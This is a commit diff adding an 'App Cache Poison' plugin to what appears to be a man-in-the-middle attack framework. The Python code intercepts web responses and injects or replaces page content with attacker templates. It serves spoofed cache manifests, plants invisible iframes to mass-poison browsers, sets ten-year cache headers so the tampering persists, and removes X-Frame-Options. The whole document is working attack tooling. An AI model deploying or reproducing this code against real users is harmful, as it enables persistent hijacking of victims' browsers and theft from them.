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revamped appoison plugin and fixed some bugs
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byt3bl33d3r
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ca28de91f6
commit
0defaf7b86
12 changed files with 223 additions and 333 deletions
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@ -1,17 +1,189 @@
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#
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# 99.9999999% of this code was stolen from https://github.com/koto/sslstrip by Krzysztof Kotowicz
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#######################################################################################################
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from plugins.plugin import Plugin
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from libs.sslstripkoto.ResponseTampererFactory import ResponseTampererFactory
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#import threading
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from datetime import date
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from libs.sslstrip.URLMonitor import URLMonitor
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import logging
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import ConfigParser
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import re
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import os.path
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import time
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class AppCachePlugin(Plugin):
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name = "App Cache Poison"
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optname = "appoison"
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desc = "Performs App Cache Poisoning attacks"
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implements = ["handleResponse"]
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has_opts = False
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def initialize(self, options):
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'''Called if plugin is enabled, passed the options namespace'''
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self.options = options
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self.config_file = "./config/app_cache_poison.cfg"
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self.config = None
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self.mass_poisoned_browsers = []
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self.urlMonitor = URLMonitor.getInstance()
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print "[*] App Cache Poison plugin online"
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ResponseTampererFactory().buildTamperer(self.config_file)
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self.createTamperer(self.config_file)
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def parseConfig(self, configFile):
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config = ConfigParser.ConfigParser()
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config.read(configFile)
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readConfig = config._sections
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readConfig.update(config.defaults())
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return readConfig
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def createTamperer(self, configFile):
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logging.debug("Reading tamper config file: %s" % (configFile))
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self.config = self.parseConfig(configFile)
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def handleResponse(self, request, data):
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url = request.client.uri
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req_headers = request.client.getAllHeaders()
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headers = request.client.responseHeaders
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ip = request.client.getClientIP()
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if "enable_only_in_useragents" in self.config:
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regexp = self.config["enable_only_in_useragents"]
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if regexp and not re.search(regexp,req_headers["user-agent"]):
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logging.debug("Tampering disabled in this useragent (%s)" % (req_headers["user-agent"]))
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return {'request': request, 'data': data}
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urls = self.urlMonitor.getRedirectionSet(url)
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(s,element,url) = self.getSectionForUrls(urls)
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if not s:
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data = self.tryMassPoison(url, data, headers, req_headers, ip)
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return {'request': request, 'data': data}
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logging.debug("Found URL %s in section %s" % (url, s['__name__']))
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p = self.getTemplatePrefix(s)
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if element == 'tamper':
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logging.debug("Poisoning tamper URL with template %s" % (p))
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if os.path.exists(p + '.replace'): # replace whole content
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f = open(p + '.replace','r')
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data = self.decorate(f.read(), s)
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f.close()
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elif os.path.exists(p + '.append'): # append file to body
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f = open(p + '.append','r')
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appendix = self.decorate(f.read(), s)
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f.close()
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# append to body
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data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
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# add manifest reference
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data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
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elif element == "manifest":
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logging.debug("Poisoning manifest URL")
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data = self.getSpoofedManifest(url, s)
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headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
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elif element == "raw": # raw resource to modify, it does not have to be html
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logging.debug("Poisoning raw URL")
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if os.path.exists(p + '.replace'): # replace whole content
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f = open(p + '.replace','r')
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data = self.decorate(f.read(), s)
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f.close()
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elif os.path.exists(p + '.append'): # append file to body
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f = open(p + '.append','r')
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appendix = self.decorate(f.read(), s)
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f.close()
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# append to response body
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data += appendix
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self.cacheForFuture(headers)
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self.removeDangerousHeaders(headers)
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return {'request': request, 'data': data}
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def tryMassPoison(self, url, data, headers, req_headers, ip):
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browser_id = ip + req_headers.get("user-agent", "")
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if not 'mass_poison_url_match' in self.config: # no url
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return data
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if browser_id in self.mass_poisoned_browsers: #already poisoned
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return data
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if not headers.hasHeader('content-type') or not re.search('html(;|$)', headers.getRawHeaders('content-type')[0]): #not HTML
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return data
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if 'mass_poison_useragent_match' in self.config and not "user-agent" in req_headers:
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return data
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if not re.search(self.config['mass_poison_useragent_match'], req_headers['user-agent']): #different UA
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return data
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if not re.search(self.config['mass_poison_url_match'], url): #different url
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return data
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logging.debug("Adding AppCache mass poison for URL %s, id %s" % (url, browser_id))
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appendix = self.getMassPoisonHtml()
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data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
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self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip
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return data
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def getMassPoisonHtml(self):
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html = "<div style=\"position:absolute;left:-100px\">"
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for i in self.config:
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if isinstance(self.config[i], dict):
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if self.config[i].has_key('tamper_url') and not self.config[i].get('skip_in_mass_poison', False):
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html += "<iframe sandbox=\"\" style=\"opacity:0;visibility:hidden\" width=\"1\" height=\"1\" src=\"" + self.config[i]['tamper_url'] + "\"></iframe>"
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return html + "</div>"
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def cacheForFuture(self, headers):
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ten_years = 315569260
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headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)])
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headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh
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in_ten_years = date.fromtimestamp(time.time() + ten_years)
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headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")])
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def removeDangerousHeaders(self, headers):
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headers.removeHeader("X-Frame-Options")
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def getSpoofedManifest(self, url, section):
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p = self.getTemplatePrefix(section)
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if not os.path.exists(p+'.manifest'):
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p = self.getDefaultTemplatePrefix()
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f = open(p + '.manifest', 'r')
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manifest = f.read()
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f.close()
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return self.decorate(manifest, section)
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def decorate(self, content, section):
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for i in section:
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content = content.replace("%%"+i+"%%", section[i])
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return content
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def getTemplatePrefix(self, section):
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if section.has_key('templates'):
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return self.config['templates_path'] + '/' + section['templates']
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return self.getDefaultTemplatePrefix()
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def getDefaultTemplatePrefix(self):
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return self.config['templates_path'] + '/default'
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def getManifestUrl(self, section):
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return section.get("manifest_url",'/robots.txt')
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def getSectionForUrls(self, urls):
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for url in urls:
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for i in self.config:
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if isinstance(self.config[i], dict): #section
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section = self.config[i]
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if section.get('tamper_url',False) == url:
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return (section, 'tamper',url)
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if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url):
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return (section, 'tamper',url)
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if section.get('manifest_url',False) == url:
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return (section, 'manifest',url)
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if section.get('raw_url',False) == url:
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return (section, 'raw',url)
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return (False,'',urls.copy().pop())
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